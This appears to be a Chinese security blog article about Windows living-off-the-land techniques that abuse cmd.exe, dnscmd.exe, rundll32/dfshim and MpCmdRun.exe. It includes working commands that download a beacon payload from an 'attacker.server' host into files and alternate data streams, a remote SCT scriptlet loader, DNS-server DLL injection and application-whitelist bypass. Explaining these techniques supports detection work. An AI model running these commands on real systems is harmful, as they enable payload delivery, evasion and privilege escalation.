freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Windows离地攻击分析
2024-03-20 22:02:07

引言

"离地攻击"(Living Off The Land Attack)是一种在攻击中利用目标系统已存在的合法功能、工具或脚本的方法。这些攻击通常不需要下载外部恶意软件,而是利用目标系统已经具有的资源和功能来实施攻击,从而更难以检测和防御。

离地攻击(LotL)技术是指使用系统中已经存在或易于安装的二进制文件(如已签名的合法管理工具)来执行后渗透活动(post-exploitation activity)。

离地攻击达到的目的:离地攻击的目的是尽可能地减少攻击留下的痕迹,提高攻击的成功率,并使检测和防御变得更加困难。因此,对于安全团队来说,了解和监视这些离地攻击技术是非常重要的,以便及时检测和应对潜在的威胁。

举个例子:比如使用 PowerShell 或 Windows Management Instrumentation (WMI)。攻击者可能会利用这些工具来横向移动、收集信息、执行代码等,而不会引起系统安全软件的怀疑,因为这些工具在正常情况下是合法使用的。

image-20240320203246089

CMD.EXE

CMD(命令提示符)是 Windows 操作系统中的命令行解释器。它提供了一个交互式的命令行界面,允许用户输入命令来执行各种操作,例如管理文件和目录、运行程序、配置系统设置等。

所需权限:user

C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd.exe

可用于的系统:

Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

参考实际使用时命令:

cmd.exe /c echo regsvcjMy.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvcjMy.sct ^scrobj.dll > fakefile.doc:payload.bat

创建一个名为 "fakefile.doc" 的文件,并将一个命令写入其中。这个命令的目的是利用 regsvcjMy.exe 来执行一个注册表脚本文件,这个脚本文件来源于一个 URL(https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvcjMy.sct)。具体来说,这个脚本文件将以系统用户的身份运行一个名为 "scrobj.dll" 的文件。

在这个命令中,"/c" 表示执行命令并终止。echo命令用于创建fakefile.doc文件并写入内容。在写入的内容中,"^" 用于转义特殊字符,以确保它们被正确解释。最后,命令将写入一个名为 payload.bat 的批处理文件,其中包含用于执行上述注册表脚本文件的命令。

cmd执行命令请求的URL中的文件为:

<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- regsvcjMy /s /u /i:http://example.com/file.sct scrobj.dll -->

<!-- .sct files when downloaded, are executed from a path like this -->
<!-- Please Note, file extenstion does not matter -->
<!-- Though, the name and extension are arbitary.. -->
<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
<!-- You can either execute locally, or from a url -->
<script language="JScript">
<![CDATA[
// calc.exe should launch, this could be any arbitrary code.
// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>
</script>
</registration>
</scriptlet>

这个脚本会通过调用WScript.Shell对象的 Run 方法来执行calc.exe(Windows 计算器),并且这段 JScript 代码被包含在 CDATA 部分中,以防止 XML 解析器尝试解析其中的特殊字符。

在脚本的注释中还提到,SCT 文件在下载后会被保存到临时 Internet 文件夹,并且在当前研究的基础上,并不会写入任何注册表键,因为它会调用 "uninstall"。这意味着脚本可能只是用于执行一些特定的操作,而不是将自身添加到系统中。

DNSCMD.EXE

DNSCMD是 Windows 中用于管理 DNS 服务器的命令行工具。它允许管理员通过命令行执行各种 DNS 相关的操作,例如管理区域、记录、缓存等。

所需权限:DNS admin

C:\Windows\System32\Dnscmd.exe
C:\Windows\SysWOW64\Dnscmd.exe

可用于系统:

Windows 服务器

参考实际使用时命令:

dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\10.0.0.1\dll\wtf.dll

wtf.dll文件配置为 DNS 服务器dc1.lab.int的服务器级别插件,该 DLL 文件位于网络路径\\10.0.0.1\dll\下。一旦配置完成,DNS 服务器将加载并执行这个 DLL 文件,以提供额外的功能或修改 DNS 服务器的行为。

Dfsvc.exe

dfsvc.exe是 Windows 中的一个可执行文件,它是ClickOnce部署服务的一部分。ClickOnce是微软提供的一种应用程序部署技术,可以用于快速、简便地部署.NET Framework 应用程序。主要作用是启动ClickOnce部署服务,并处理ClickOnce应用程序的下载、安装和更新过程。当用户尝试启动ClickOnce应用程序时,系统会调用dfsvc.exe来处理相关的任务。

所需权限:User

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe

可用于系统:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

参考实际使用时命令:

rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo

ShOpenVerbApplication函数是用于启动ClickOnce应用程序的函数之一。在这个命令中,它被调用以打开一个指定的 URL(http://www.domain.com/application/?param1=foo),这个URL是一个ClickOnce应用程序的入口点。

当这个命令被执行时,rundll32.exe会加载dfshim.dll,然后调用ShOpenVerbApplication函数,并将指定的URL作为参数传递给它。ShOpenVerbApplication函数会负责启动ClickOnce应用程序并打开指定的 URL。

rundll32.exe:

rundll32.exe是 Windows 系统自带的一个实用程序,用于运行 DLL(动态链接库)文件中的函数。它通常用于执行一些特定的系统函数,但也可以用于运行其他 DLL 文件中的函数。

AWL旁路攻击:

攻击者可能会利用rundll32.exe来执行恶意代码,这就是所谓的 "rundll32.exe AWL(应用白名单)旁路" 攻击。这种攻击利用了许多安全软件和系统策略的特点,即它们通常允许rundll32.exe执行,因为它是系统组件,并且会忽略运行的 DLL 文件的路径。因此,攻击者可以将恶意代码嵌入到 DLL 文件中,然后通过rundll32.exe来运行该 DLL 文件中的函数,从而绕过了应用程序的白名单限制。


MpCmdRun.exe

MpCmdRun.exe是 Windows Defender 命令行实用程序,用于执行各种 Windows Defender 安全软件的操作。这个命令行工具允许用户在命令行中执行与 Windows Defender 相关的任务,包括扫描计算机、更新病毒定义文件、配置 Windows Defender 设置等。

所需权限:User

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe

可用于系统:Windows 10

参考实际使用时命令:

MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exe
MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\temp\nicefile.txt:evil.exe

MpCmdRun.cmd命令实现:使用了 Windows Defender 命令行实用程序MpCmdRun.exe,并指定了参数-DownloadFile,该参数告诉 Windows Defender 下载文件的操作。然后,命令指定了要下载文件的 URL-url https://attacker.server/beacon.exe,以及文件应该被保存的路径-path c:\\temp\\beacon.exe

copy命令实现:这个命令的作用是将MpCmdRun.exe文件复制到C:\Users\Public\Downloads目录中,并将其重命名为MP.exe,然后从恶意服务器下载名为beacon.exe的文件,并保存到C:\Users\Public\Downloads目录中,命名为evil.exe

DownloadFile命令实现:将远程服务器上的beacon.exe文件下载到本地系统,但将其保存为c:\temp\nicefile.txt文件的备用数据流中,而不是直接保存为evil.exe文件。

结语

离地攻击(Living Off The Land Attack)是一种隐蔽、难以检测的攻击方法,利用目标系统已存在的合法功能、工具或脚本来实施攻击。本文介绍了几种常见的 Windows 离地攻击技术,包括CMD.EXEDNSCMD.EXEDfsvc.exeMpCmdRun.exe等,并给出了实际使用时的命令示例和相关解释。了解和监视这些离地攻击技术对于提高系统安全性至关重要,可以帮助安全团队及时发现并应对潜在的威胁。在日常的安全实践中,建议加强对系统组件和工具的监控和审查,及时更新安全策略,并提高对潜在威胁的警惕性,以确保系统的安全性和稳定性。

参考链接:

https://twitter.com/Mr_0rng/status/1601408154780446721

https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

https://twitter.com/NotMedic/status/1301506813242867720

# apt攻击 # apt # 后渗透 # Windows系统 # 后渗透权限维持
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录